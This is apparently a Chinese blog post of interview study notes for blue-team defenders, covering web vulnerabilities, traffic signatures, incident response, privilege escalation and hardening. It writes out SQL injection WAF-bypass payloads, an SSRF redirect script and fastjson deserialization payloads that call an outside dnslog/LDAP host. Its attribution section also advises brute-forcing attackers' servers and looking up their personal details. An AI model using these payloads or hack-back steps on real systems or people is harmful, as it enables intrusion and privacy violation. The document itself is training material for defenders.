hvv初级面试总结

OWASP Top10有哪些漏洞

SQL注入
失效的身份认证
敏感数据泄露
XML外部实体(XXE)
失效的访问控制
安全配置错误
跨站脚本(XSS)
不安全的反序列化
使用含有已知漏洞的组件
不足的日志记录和监控

常见数据库默认端口

MySql:3306

Oracle:1521

Redis:6379

Mssql:1433 //全称:Microsoft SQL Server

PostgreSQL:5432

但在实际使用中可能会根据需要进行修改

SQL注入的流量分析

通过日志查看攻击者输入的字段。一般在用户密码登录时攻击者会注入恶意SQL语句,如果网站不对用户输入的内容 进行限制,极易出现对网站的破坏。

union ,select ,sleep 等敏感字符。

常见SQL注入绕过

SQL注入大小写绕过:

通过将语句大小写更改,进行绕过。(这种情况通常出现在WAF对打小写没有过滤的情况下)

UniOn AND 1 = 2

SQL注入注释符绕过:

通过添加注释符对语句内容进行绕

/*绕过的内容*/select user,password from /**/users

SQL注入空格绕过

通过添加空格的URL编码进入绕过

空格的URL编码%20

SQL注入引号绕过

使用到引号的地方一般在语句中,像where语句,这条语句意识就是用来查得到users表中所有字段

select column_name from information_schema.tables where table_name="users"select column_name from information_schema.tables where table_name="text"

SQL注入十六进制绕过

当引号绕过方法被过滤的情况下,还可以利用进制进行绕过。

将users转换为十六进制进行绕过select column_name from information_schema.tables where table_name=0x7573657273

SQL注入from for语句绕过

当进行SQL盲注会用到,substr() ,mid() ,limit。这些句子方法都需要用到逗号。对于substr() ,mid() 句子可以直接利用from for句子进行绕过。

单引号绕过,与from for绕过 select substr(database() from 1 for 1)='tyaq'; select mid(database() from 1 for 1)='tyaq';

SQL注入比较符绕过<>

sql盲注,使用二分查找时需要使用到比较符来进行。

select * from users where id=1 and ascii(substr(database(),0,1))>88

SQL注入greatest绕过

当比较符被系统过滤了,比较符盲注语句无法使用时,可以使用greatest来代替比较操作符。greatest(n1,n2,n3,n4等)函数返回输入参数(n1,n2,n3,n4等)的最大值。

sql语句可以使用greatest变为ascii码值进行大小爆破

select * from cms_users where userid=1 and greatest(ascii(substr(database(),1,1)),1)=88;

SQL注入编码绕过

URLEncode编码,ASCII,HEX,unicode编码绕过:

ASCII码绕过Test 等价于CHAR(55)+CHAR(66)+CHAR(88)+CHAR(99)

对关键字进行URL编码绕过

URL编码转换绕过1+and+1=11+%25%36%31%25%36%65%25%36%34+1=1

16进制编码转换绕过

将users转换为十六进制进行绕过select column_name from information_schema.tables where table_name=users;select column_name from information_schema.tables where table_name=0x7573657273;

SQL注入内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中,这些语句如果在其它数据库中是不会被执行而在SQL数据库中可被执行 select * from cms_users where userid=1 union /*!select*/ 1,2,3;

sql注入过滤

  1. 使用参数化查询:参数化查询可以将用户输入和SQL代码分开,从而避免SQL注入攻击。通过使用预编译语句和参数化查询语句,应用程序可以把用户输入转化为参数,而不是直接拼接到SQL语句中。
  2. 对输入进行过滤和验证:在应用程序中对输入数据进行过滤和验证,可以有效地减少SQL注入攻击的风险。可以使用白名单或黑名单机制,过滤掉非法字符或语句,或者对输入数据进行格式验证和长度限制。
  3. 使用ORM框架:使用ORM框架可以避免手动拼接SQL语句,从而减少SQL注入攻击的风险。ORM框架可以自动将数据转换为参数,从而防止恶意SQL注入攻击。
  4. 使用防火墙:使用Web应用程序防火墙可以监测和防止SQL注入攻击。防火墙可以对输入数据进行检查,过滤掉恶意SQL语句,从而保护应用程序不受攻击。

Sql注入分类

报错注入、盲注、时间盲注、二次注入,宽字节,堆叠注入,http header的注入,xff,cookie注入

宽字节注入条件

1.数据库为GBK编码
2.使用了转义函数,将、POGETST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义

绕过方式

root %df' or 1=1 #
# 原理:在GBK编码中,反斜杠的编码是%5c,在输入%df后,使得添加反斜杠后形成%df%5c,而%df%5c是繁体字“連”,单引号成功逃逸,爆出Mysql数据库的错误

SQL二次注入

二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

SQL报错注入

函数:

floor()函数,

exp()函数,

convert()函数,

updataxml()函数,返回数据长度<32位

name_const()函数,

extractvalue()函数:返回数据长度<32位

XXE漏洞(即XMl外部实体注入漏洞)

XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

怎么判断网站是否存在XXE漏洞

最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

CSRF攻击原理

123

  1. 用户输入账号信息请求登录A网站。
  2. A网站验证用户信息,通过验证后返回给用户一个cookie
  3. 在未退出网站A之前,在同一浏览器中请求了黑客构造的恶意网站B
  4. B网站收到用户请求后返回攻击性代码,构造访问A网站的语句
  5. 浏览器收到攻击性代码后,在用户不知情的情况下携带cookie信息请求了A网站。此时A网站不知道这是由B发起的。那么这时黑客就可以进行一下骚操作了!

两个条件:a 用户访问站点A并产生了cookie

b 用户没有退出A同时访问了B

SSRF漏洞(服务器端请求伪造)

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

利用的是服务端的请求伪造。

SSRF是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

绕过方式

1.@符号绕过:

http://www.xxx.com@www.kxsy.work/
1

在某地址1后添加@再次添加地址2,浏览器会自动返回地址2数据

2.IP地址转换:

对内网请求的IP地址进行各进制的编码

3.转换短网址:

https://www.985.so/
例:http://www.kxsy.work/ = http://u6.gg/ks69x

4.特殊符号替换绕过:

例:
http://www.kxsy.work/ = http://www。kxsy。work/
localhost或者0.0.0.0

5.302跳转绕过:

<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}

6.xip.io绕过:会将解析到子域

http://10.0.0.1.xip.io = 10.0.0.1
www.10.0.0.1.xip.io= 10.0.0.1

8.其他协议绕过 :

配合File、 GOPHER等协议的对目标进行信息探测

XSS(跨站点脚本攻击)

服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的。

反射型XSS

存储型XSS

DOM型XSS:DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

xss与csrf的区别

**xss:跨站脚本攻击、诱骗用户点击恶意链接盗取用户cookie进行攻击、不需要用户进行登录、xss除了利用cookie还可以篡改网页等. **

csrf:跨站请求伪造、无法获取用户的cookie而是直接冒充用户、需要用户登录后进行操作

哪里使用到了dnslog外带

DNSlog外带原理:

DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。

SQL盲注

盲注需要频繁请求才能获取数据库中的值,在有waf的情况下很容易被ban ip。这种情况下可以结合DNSLog将数据取出。如果遇到MySQL的盲注,可以利用内置函数load_file()来完成DNSLog。load_file()不仅能够加载本地文件,同时也能对诸如www.baidu.com这样的url发起请求

无回显的SSRF

将url换成我们的DNS服务器,通过查看DNSLog平台日志查看是否有服务器ip判断是否有ssrf漏洞

xss盲打

xss盲打是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入的带有真实攻击行为的xss代码数据。当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的真实攻击功能。

log4j漏洞

fastjson反序列化漏洞

构造以下payload(content-type字段为application/json),利用dnslog平台接收:{“zeo”:{“@type”:”java.net.Inet4Address”,”val”:”ntel8h.dnslog.cn”}}(不同版本,payload不同。推荐这种方式)

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ntel8h.dnslog.cn/test",
        "autoCommit":true
    }
}

DNSLog的综合利用 (qq.com)

反序列化漏洞

weblogic漏洞

在weblogic里面其实反序列化漏洞利用中大致分为两种,一个是基于T3协议的反序列化漏洞,一个是基于XML的反序列化漏洞。

1.直接通过T3协议发送恶意反序列化对象(CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2020-2555、CVE-2020-2883)
2.利用T3协议配合RMPND接口反向发送反序列化数据(CVE2017-3248、CVE2018-2628、CVE2018-2893、CVE2018-3245、CVE-2018-3191、CVE-2020-14644、CVE-2020-14645)还有利用IIOP协议的CVE-2020-2551
3.通过 javabean XML方式发送反序列化数据。(CVE2017-3506->CVE-2017-10271->CVE2019-2725->CVE-2019-2729)

xml:是因为xmldecode解析导致的反序列化,他的包就是一个很大的xml格式内容

fastjson反序列化

请求包里发送恶意js格式的payload,在处理json对象的时候没有过滤@type字段,从而使fastjson通过字段传入一个类,在执行时进而实行构造恶意函数。

shiro反序列化漏洞

shiro550:

关键词:RememberMe

存在一个忘记密码功能,用户信息会进行加密,而这一个过程中密钥出现了问题,使用密钥进行碰撞并且不需要cookie,从而构造反序列化rce,进而攻击。

shiro721:

shiro721利用的前提就是存在cookie,构造cookie值进行rce。

log4j漏洞

Log4j2 组件在处理程序日志记录时存在JNDI 注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2 组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。

特征:${xxxxxx}

流量特征

cs流量特征:

对比正常的http流量,CS的http通信流量具有以下几个特征:

A. 心跳包特征

a) 间隔一定时间,均有通信,且流级上的上下行数据长度固定;

B. 域名/IP特征

a) 未走CDN、域前置的,域名及IP暴露

b) 走CDN、域前置的,真实IP会被隐藏;

C. 指令特征

a) 下发指令时,通过心跳包接收指令,这时,server端返回的包更长,甚至包含要加载的dll模块数据。

b) 指令执行完后,client端通过POST请求发送执行的结果数据,body部分通过加密和base64编码。

c) 不同指令,执行的时间间隔不一样,可以通过POST请求和GET请求的间隔进行判断。

D. 数据特征

a) 在请求的返回包中,通信数据均隐藏在jqeury*.js中。

MSF流量特征:

1,端口号:msf默认使用4444端口作为反向连接端口

2,数据内容:msf数据包通常包含特定字符串:(“meterpreter”、”revshell”等)

冰蝎流量特征:

冰蝎2.0和3.0区别:

1,加密方式不同,一个是RC4加密,一个AES加密。

2,编写语言不同,2.0采用的是c++,3.0采用的是java。

3,冰蝎流量检测,无论是get请求还是post请求,content-type都为application/octet-stream

冰蝎4.0流量分析:1,十种ua头,可关键字拦截ua头进行匹配拦截。

2,流量特征,Content-type: Application/x-www-form-urlencoded。

3,accept字段:Accept:application/json, text/javascript, /; q=0.01

(4.0我也不太明白,自己网上多查查资料吧)

哥斯拉流量特征:

1,强特征:cookie字段,最后一个Cookie的值出现 “**;**”(尾值出现分号)

2,paylod特征:jsp会出现xc,pass字符和Java反射,base64加解码等特征,php,asp则为普通的一句话木马。

菜刀流量特征:

1,请求包中:ua头为百度,火狐

2,请求体中存在eavl,base64等特征字符
3,请求体中传递的payload为base64编码,并且存在固定的数值

4.伪造X-Forwarded-For头

蚁剑流量分析:

1,payload特征:Php中使用assert,eval执行;asp 使用eval;在jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征。

2,流量特征:每个请求体都在:@ini_set(“diplay_erors”,“0”);@set_time_limit(0)开头。并且后面存在base64等字符

常见的中间件漏洞

IIS

PUT漏洞、短文件名猜解、远程代码执行、解析漏洞

Apache

解析漏洞、目录遍历

Nginx

文件解析、目录遍历、CRLF注入、目录穿越

Tomcat

远程代码执行、war后门文件部署

JBoss

反序列化漏洞、war后门文件部署

WebLogic

反序列化漏洞
SSRF任意文件上传
war后门文件部署

内存马查找

windows:看看dll文件,注册表,查看外联可以的vps的地址。

**linux:**使用命令进行遍历。

渗透测试

确定目标

在拿到一个url时,先确定自己的渗透目标,是要测试整个网站还是某个模块。自己要干什么首先要想清楚。

信息收集

此阶段是渗透测试中最基础也是最关键的一步,信息收集的多少一定程度上决定是否能够渗透成功。信息收集过程中可以借助搜索引擎(fofa,钟馗之眼)获得一些重要信息。比如后台,敏感的url等。

通过域名找到IP,子域名,旁站,是否存在CDN。(站长工具)

探测网站相关版本信息,如果网站用了cms,那就查找cms指纹,查找该cms是否存在漏洞。

旁站:与本网站公用一个服务器。

C段(护网中较有意义):C段指的是同一内网段内的其他服务器。

等等。

漏洞扫描

对网站进行漏洞探测,可以使用相关工具(不问不说:AWVS,Appscan,Nessuss)。扫描到漏洞的话进行漏洞验证利用。

顺利的话最终拿到webshell。

测试结束后总结整个流程,给相关机构提出修复建议。

拿到网站登录框该怎么下手

首先分析登录框的参数。

尝试弱口令登录,能够进行爆破的话进行爆破。

SQL注入在登陆框也容易出现,如果存在sql注入漏洞的话那就进行攻击。

溯源的思路

1.红队攻击都会挂着代理,你溯源的话只能溯源到他的代理ip,没有太大的意义,如果说服务器被上了内存马的情况,可以去工具取样他内存马的ip,对内存马ip反向扫描端口,
因为他们也是通过远程进去的,去爆破他们的ssh,3389和cs的密码。
1.反序列化的取样,他打shiro,里面就有他的基本设备vps,通过中间件吧这些有特征的ip收集,放到在线情报平台上识别,检测是不是有ip绑定域名的,通过whois反查他的域名注册时间、邮箱,通过社工库查他的手机号,然后通过社交软件,qq、微信、支付宝来给他转一毛钱,拼接他的个人信息。

4.已经被上传webshell应急
2.系统如果已经被植入后门,说明攻击者已经攻击成功,而且拿到权限,这时候日志信息可能提供不了帮助,首先要去考虑系统的账户是否安全,,又没口令爆破成功的痕迹,排查账号的密码是否已经不安全.
(Linux)的话看计划任务,有没有定时反弹shell,还有就是进程是不是可疑在通信.发现可疑问题,就要样本分析.
(windows)的话就看启动项和进程.
如果是web入侵,看日志web服务是不是安全?还原攻击的流程.
5.流量溯源
1.先看日志,看攻击时间做一个审计,搜索这个时间文件上传的操作,一般是GET和POST两种,GET的话可以直接看到他请求的资源、地址和content,然后webshell该杀就杀,后门改补就补,如果是POST,那么就看不到请求的内容,可以去防火墙上下载完整数据包来分析。

溯源反制的思路?

1.攻击源捕获

  • 安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等
  • 日志与流量分析,异常的通讯流量、攻击源与攻击目标等
  • 服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
  • 邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等
  • 蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息

2.溯源反制

  • IP 定位技术
    根据IP定位物理地址–代理 IP
    溯源案例:通过 IP 端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息
  • ID 追踪术
    ID 追踪术,搜索引擎、社交平台、技术论坛、社工库匹配
    溯源案例:利用 ID 从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息
  • 网站 url
    域名 Whois 查询–注册人姓名、地址、电话和邮箱 –域名隐私保护
    溯源案例:通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析
  • 恶意样本分析
    提取样本特征、用户名、ID、邮箱、C2 服务器等信息–同源分析
    溯源案例:样本分析过程中,发现攻击者的个人 ID 和 QQ,成功定位到攻击者
  • 社交账号
    基于 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等
    利用条件:可以找到相关社交网站的 jsonp 接口泄露敏感信息,相关网站登录未注销

3.攻击者画像

  • 攻击路径

攻击目的:拿到权限、窃取数据、获取利益、DDOS 等
网络代理:代理 IP、跳板机、C2 服务器等
攻击手法:鱼叉式邮件钓鱼、Web渗透、水坑攻击、近源渗透、社会工程等

  • 攻击者身份画像

虚拟身份:ID、昵称、网名
真实身份:姓名、物理位置
联系方式:手机号、qq/微信、邮箱
组织情况:单位名称、职位信息

研判的思路?

1.首先对攻击的来源进行判断,是内对内,外对内还是内对外的情况。

2.依据设备的告警信息结合具体情况来分析攻击行为的类型,比如说告警SQL注入攻击,那我们就去查看一下请求数据包里面是否有单引号,SELECT等敏感字符,返回数据包里面是否有SQL语法报错等信息,有的话就可以初步判断该攻击行为是SQL注入攻击。

3.然后就是根据攻击特征来分析攻击行为使用了什么技术或者说工具,比如说攻击的频率,数据包的信息等等。比如说在使用AWVS或者APPSCAN等工具在扫描的时候,很有可能在请求数据包的user-agent里面就有相关的信息。同样结合告警信息和具体情况来判断攻击行为的危害程度,比如说检测到多条攻击成功告警和内对内及内对外攻击告警,这个时候就需要尽快的交给应急组了。

4.结合设备告警信息及具体情况分析攻击意图,比如说攻击者的目标是主站还是旁站,是主机还是域控,不同的攻击意图对于后续的处理也不同。

5.最后根据我们掌握的信息采取相应的处置方式,比如说告警信息是误报,说明设备需要策略优化,不需要处置。告警信息是尝试攻击,暂时对资产没有影响,就需要后续持续关注,攻击成功时能够做到及时上报。如果告警确认不是误报,并且攻击成功时,我们就需要迅速上报及时采取应急响应。

应急响应

应急响应基本流程

1.首先应该是信息收集,比如说影响范围有多大,事件类型是什么,源头主机和攻击意图,是否需要保障业务等等信息,这一步可以帮助我们更有效的进行下一步的阻断攻击行为。

2.接下来就是结合已知的信息阻断攻击行为,保护资产。比如说攻击行为局限于某个站点,且未造成较大损失,那我们可以直接封掉攻击者的IP来确保业务的正常进行,当然之后也要对这个站点有一个持续的关注。如果是某台主机沦陷或者说域控服务器沦陷,那么这就算比较重大的损失,为了避免损失扩大,应该及时将感染设备断网处理。如果有备份服务器,可以切换备用设备来保障业务正常。

3.对攻击行为阻断后需要对数据进行保护,比如说保存好流量、可疑进程的内存、失陷系统镜像、恶意样本、设备的日志,这一步可以有效帮助我们后续的溯源工作。

4.安全事件影响根除,工具结合手工从系统用户是否有新增用户,进程信息,计划任务,自启动项,注册表,端口状态(是否有对外连接)等方面来检查是否有可疑行为,比如说火绒剑,ProcessHacker等专门用于分析这些方面的工具。如果有就直接关闭或者删除,有一些顽固进程或者顽固文件无法关闭或者删除可以结合专杀工具处理,比如说Rkhunter,火绒等工具。

5.恢复业务,加强安全措施,加固系统等,比如说更新软件版本,安装已知漏洞的补丁,关闭某些端口等等,暂时没有解决办法的可以根据业务需求关闭某些服务。
6.最后就是输出报告,总结反思。

应急响应案例

我拿个之前的应急排查来说吧,就是我们这边接到通知他们公司几台服务器有问题,让我们去检测。然后看到是windows的机子,本地用户和组排查的时候发现新建可疑的用户,确定主机是有问题的,对方已经拿到主机权限,然后事件管理器有大量的登录日志爆破,采取的措施是直接删除可疑的和隐藏账号,排查登录日志,确定系统账号已经不安全,更新了管理员账号,对启动项和可疑进程做了清除,取了一份样本拿去分析,通告上级紧急修补web站点的漏洞.

内网隧道:

tcp隧道:基础的 TCP 映射,适用于大多数服务,例如远程桌面、SSH

udp隧道:基础的 UDP 映射,适用于域名解析、部分基于 UDP 协议的游戏

http:搭建网站专用映射,通过 80 端口访问

https:带有 SSL 加密的网站映射,通过 443 端口访问,映射目标需要支持 SSL

护网时对IP的判断

如果该IP在护网期间频繁出现,而护网之前基本上未出现过,那么改IP很有可能是红队IP。即封锁该IP。

护网中封锁红队IP的方法有以下几种:

  1. 使用防火墙(WAF):防火墙可以设置规则,将红队IP加入黑名单,从而禁止它们访问受保护的网络或系统。

  2. 使用入侵检测系统(IDS):入侵检测系统可以监测网络流量和系统行为,当检测到红队IP的攻击行为时,可以自动将其加入黑名单或者阻止其访问。

  3. 使用反向代理(常见的有CF):在反向代理服务器上设置规则,当检测到红队IP的攻击行为时,可以将其请求重定向到一个错误页面或者进行拦截。

  4. 使用IP过滤器:可以使用专门的IP过滤器,将红队IP加入黑名单中,从而禁止其访问受保护的网络或系统。

敏感事件id:

4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户/管理员用户进行登录
4720 创建用户

挖矿病毒

挖矿病毒:消耗用户CPU、GPU资源,进行大量运算,获取加密货币的病毒。

1

攻击者通过各种手段将挖矿程序植入受害者的计算机中,在受害者不知情的情况下利用其计算机的云算力进行挖矿,从而获取利益,这类非法植入用户计算机的挖矿程序就是挖矿木马。

蠕虫感染

结构

蠕虫病毒的程序结构通常包括三个模块: [3]

(1)传播模块:负责蠕虫的传播,它可以分为扫描模块、攻击模块和复制模块三个子模块。其中,扫描模块负责探测存在漏洞的主机;攻击模块按漏洞攻击步骤自动攻击找到的对象;复制模块通过原主机和新主机交互将蠕虫程序复制到新主机并启动。 [3]

(2)隐藏模块:侵入主机后,负责隐藏蠕虫程序。 [3]

(3)目的功能模块:实现对计算机的控制、监视或破坏等。 [3]

原理

根据蠕虫病毒的程序其工作流程可以分为漏洞扫描、攻击、传染、现场处理四个阶段,首先蠕虫程序随机(或在某种倾向性策略下)选取某一段IP地址,接着对这一地址段的主机扫描,当扫描到有漏洞的计算机系统后,将蠕虫主体迁移到目标主机。然后,蠕虫程序进入被感染的系统,对目标主机进行现场处理。同时,蠕虫程序生成多个副本,重复上述流程。各个步骤的繁简程度也不同,有的十分复杂,有的则非常简单。

勒索病毒

勒索病毒:能对用户文件进行加密的病毒。

lesuo

宏病毒

宏是微软公司为其Office软件包设计的一个特殊功能,由于其功能强大,使得黑客可以通过精心构造的宏代码来实现恶意操作,这些代码就叫做宏病毒。宏病毒常以垃圾邮件的方式对用户进行攻击,因为伪造的Office文档不容易引起用户的怀疑,所以当用户毫无防备的打开Office文档并启用宏之后,宏病毒便开始了运行,对用户主机进行恶意操作。

内网黄金票据原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个
Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

黄金票据和白银票据的区别?

获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限

银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同
金票: 同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同
金票: 由krbtgt NTLM Hash 加密
银票: 由服务账号 NTLM Hash 加密

提权

linux提权

1.通过 su 命令暴破 root 密码

2.内核漏洞提权

3.SUID提权:SUID可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个root用户所有的SUID文件,那么运行该文件我们就可以获取到root权限

4.find:find实用程序find可用于发现存储在系统上。然而,它是执行命令的能力。因此,如果它被配置为使用 SUID 权限运行,那么所有将通过 find 执行的命令都将以 root 身份执行。

window提权

1、系统内核溢出漏洞提权

#手工查找补丁情况

systeminfo  #查看补丁
wmic qfe get Description,HotFixID,InstalledOn  #查看补丁信息

#MSF后渗透扫描

post/windows/gather/enum_patches

2、at命令利用

在Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以使用at命令将权限提升至system权限。

3.数据库提权

udf提权:通过创建用户自定义函数,对mysql功能进行扩充,可以执行系统任意命令,将mysql账号root转化为系统system权限。
mof提权:在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof 这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
启动项提权:将后面脚本上传到系统启动目录,当服务器重启就会自动执行该脚本,从而获取系统权限。

4.MS14-068 域用户提权漏洞

服务票据是客户端直接发送给服务器,并请求服务资源的。如果服务器没有向域控dc验证pac的话,那么客户端可以伪造域管的权限来访问服务器。

主机加固

Linux加固

**1.**修改ssh的配置文件,禁止root直接登录

**2.**修改密码策略配置文件,确保密码最小长度为8位

**3.**确保错误登录3次,锁定此账户5分钟

**4.**禁止su非法提权,只允许root和wheel组用户su到root

**5.**不响应ICMP请求

**6.**设置登陆超时时间为10分钟

7. 结束非法登录用户

Windows加固

1. 修改3389端口

2. 设置安全策略,不允许SAM帐户的匿名枚举,不允许SAM帐户和共享的匿名枚举

3.在组策略中设置阻止访问注册表编辑工具

4. 开启审核对象访问,成功与失败;开启审核目录服务访问,成功与失败;开启审核系统事件,成功与失败

5. 禁止445端口漏洞

6. 设置屏幕保护在恢复时使用密码保护

7. 设置windows密码策略:使密码必须满足复杂性,设置密码长度最小值为8位,设置密码最长存留期为30天

8. 开启Windows防火墙,关闭ping服务,打开3389、80等服务

9. 关闭系统默认共享

日志分析

1.系统日志

分析方法:

a、前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。

b、Win+R打开运行,输入eventvwr.msc,回车运行,打开事件查看器。

c、导出应用程序日志、安全日志、系统日志,利用Log Parser进行分析。

2.web访问日志

分析方法:

a、找到中间件的web日志,打包到本地方便进行分析。

b、推荐工具:

  • Windows下,推荐使用EmEditor进行日志分析,支持大文本,搜索效率不错。
  • Linux下,使用Shell命名组合查询分析。

正向shell和反向shell

正向shell:控制端主动发起连接去连接被控制端
反向shell:被控制端主动连接控制端

防火墙中的DMZ区域,Trust区域,Untrust区域

DMZ区域(非军事化区)

1.两个防火墙之间的空间被称为DMZ。与Internet相比,DMZ可以提供更高的安全性,但是其安全性比内部网络低。
2.服务器 内 外网都可以访问,但还是与内网隔离.
就算是黑客把DMZ服务器拿下,也不能使用服务器来控制内网的网络.起到安全的策略
Trust区域,

Trust区域(受信区)

可信任的接口.是局域网的接口.此接口外网和DMZ无法访问.
外部不能访问trust口
DMZ不能访问trust口

Untrust区域(非受信区)

不信任的接口,是用来接internet的,这个接口的信息内网不接受
可以通过untrust口访问DMZ,但不能访问trust口**

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码

请我喝杯咖啡吧~

支付宝
微信